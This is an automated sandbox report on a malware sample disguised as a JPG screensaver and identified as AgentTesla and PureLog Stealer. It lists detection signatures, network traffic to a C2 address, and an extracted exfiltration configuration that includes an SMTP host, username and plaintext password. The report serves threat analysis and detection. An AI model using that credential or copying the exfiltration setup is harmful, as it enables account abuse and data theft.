Edit tour

Windows Analysis Report
Rendeles_042024,jpg.scr.exe

Overview

General Information

Sample name:	Rendeles_042024,jpg.scr.exe
Analysis ID:	1433163
MD5:	f9a9054852e6529e9e3d8b392241601c
SHA1:	e96482de839c1fe063982ef64d6d930312054ea6
SHA256:	96c18fdcc302306d493535b0c90413892759a61925bcb3cf2f0d1a1cbbac554e
Tags:	exeHUN
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Rendeles_042024,jpg.scr.exe (PID: 2884 cmdline: "C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe" MD5: F9A9054852E6529E9E3D8B392241601C)

Rendeles_042024,jpg.scr.exe (PID: 2260 cmdline: "C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe" MD5: F9A9054852E6529E9E3D8B392241601C)

Rendeles_042024,jpg.scr.exe (PID: 2140 cmdline: "C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe" MD5: F9A9054852E6529E9E3D8B392241601C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.woxi.cz", "Username": "poklopservis@woxi.cz", "Password": "88RkoRO35"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.3249220624.000000000302D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.3249220624.0000000003035000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2022036675.0000000007BB0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.3249220624.0000000003004000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3249220624.0000000003004000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2008266464.0000000003259000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2884	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2884	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2884	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2140	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Rendeles_042024,jpg.scr.exe.7bb0000.13.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.7bb0000.13.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.Rendeles_042024,jpg.scr.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.Rendeles_042024,jpg.scr.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.Rendeles_042024,jpg.scr.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.Rendeles_042024,jpg.scr.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34201:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34273:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342fd:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3438f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343f9:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3446b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34501:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34591:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34201:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34273:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342fd:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3438f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343f9:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3446b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34501:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34591:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32401:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32473:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x324fd:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3258f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x325f9:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3266b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32701:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32791:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32401:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32473:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x324fd:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3258f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x325f9:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3266b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32701:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32791:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34201:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f821:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34273:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6f893:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342fd:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6f91d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3438f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6f9af:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343f9:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6fa19:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3446b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6fa8b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34501:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6fb21:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34591:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6fbb1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Rendeles_042024,jpg.scr.exe.327cccc.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.325b06c.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Rendeles_042024,jpg.scr.exe.327bcb4.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 18 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 77.93.220.4, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe, Initiated: true, ProcessId: 2140, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49710

Snort Signatures

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 77.93.220.4

Timestamp:	04/29/24-10:17:57.586988
SID:	2840032
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 77.93.220.4

Timestamp:	04/29/24-10:17:57.524587
SID:	2030171
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 77.93.220.4

Timestamp:	04/29/24-10:17:57.586988
SID:	2851779
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 77.93.220.4

Timestamp:	04/29/24-10:17:57.586988
SID:	2855542
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 77.93.220.4

Timestamp:	04/29/24-10:17:57.586988
SID:	2855245
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Rendeles_042024,jpg.scr.exe

Avira: detected

Found malware configuration

Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.woxi.cz", "Username": "poklopservis@woxi.cz", "Password": "88RkoRO35"}

Multi AV Scanner detection for submitted file

Source: Rendeles_042024,jpg.scr.exe	ReversingLabs: Detection: 52%
Source: Rendeles_042024,jpg.scr.exe	Virustotal: Detection: 50%			Perma Link

Machine Learning detection for sample

Source: Rendeles_042024,jpg.scr.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Unpacked PE file: 0.2.Rendeles_042024,jpg.scr.exe.d30000.0.unpack

Source: Rendeles_042024,jpg.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49707 version: TLS 1.2

Source: Rendeles_042024,jpg.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	0_2_0302EB08
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4x nop then push dword ptr [ebp-24h]	0_2_0302F4A0
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh	0_2_0302F4A0
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4x nop then xor edx, edx	0_2_0302F3D8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4x nop then push dword ptr [ebp-20h]	0_2_0302F180
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh	0_2_0302F180
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	0_2_0316B648
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	0_2_03169B6C

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49710 -> 77.93.220.4:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.5:49710 -> 77.93.220.4:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49710 -> 77.93.220.4:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49710 -> 77.93.220.4:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49710 -> 77.93.220.4:587

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.Rendeles_042024,jpg.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.5:49710 -> 77.93.220.4:587

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: MASTER-ASCzechRepublicwwwmasterczCZ MASTER-ASCzechRepublicwwwmasterczCZ

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com

Source: global traffic

TCP traffic: 192.168.2.5:49710 -> 77.93.220.4:587

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: mail.woxi.cz

Source: Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.000000000302D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.woxi.cz
Source: Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49707 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, cPKWk.cs	.Net Code: BvEob1
Source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack, cPKWk.cs	.Net Code: BvEob1

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.Rendeles_042024,jpg.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

.NET source code contains very large array initializations

Source: 0.2.Rendeles_042024,jpg.scr.exe.3070000.1.raw.unpack, .cs	Large array initialization: : array initializer size 33957
Source: 0.2.Rendeles_042024,jpg.scr.exe.31a3374.6.raw.unpack, .cs	Large array initialization: : array initializer size 33957

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF13D8	0_2_02FF13D8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF2550	0_2_02FF2550
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF1B30	0_2_02FF1B30
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF08D0	0_2_02FF08D0
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF4358	0_2_02FF4358
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF4349	0_2_02FF4349
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF1343	0_2_02FF1343
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF5608	0_2_02FF5608
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF5790	0_2_02FF5790
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF5780	0_2_02FF5780
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF55F8	0_2_02FF55F8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF5A20	0_2_02FF5A20
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF5A10	0_2_02FF5A10
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF4EE0	0_2_02FF4EE0
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF4ED0	0_2_02FF4ED0
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF1FA9	0_2_02FF1FA9
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF5C08	0_2_02FF5C08
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_0302B728	0_2_0302B728
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_03020641	0_2_03020641
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_03020688	0_2_03020688
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_03024D59	0_2_03024D59
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_03024D68	0_2_03024D68
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_030249CF	0_2_030249CF
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_030249E0	0_2_030249E0
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_03020006	0_2_03020006
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_03020040	0_2_03020040
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_03169B24	0_2_03169B24
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_0316E5BB	0_2_0316E5BB
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_0316AB3E	0_2_0316AB3E
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_031669BC	0_2_031669BC
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_031689D8	0_2_031689D8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_031689C8	0_2_031689C8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_03169B18	0_2_03169B18
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_0316FA40	0_2_0316FA40
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_0316F9F3	0_2_0316F9F3
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_02E44AE8	4_2_02E44AE8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_02E43ED0	4_2_02E43ED0
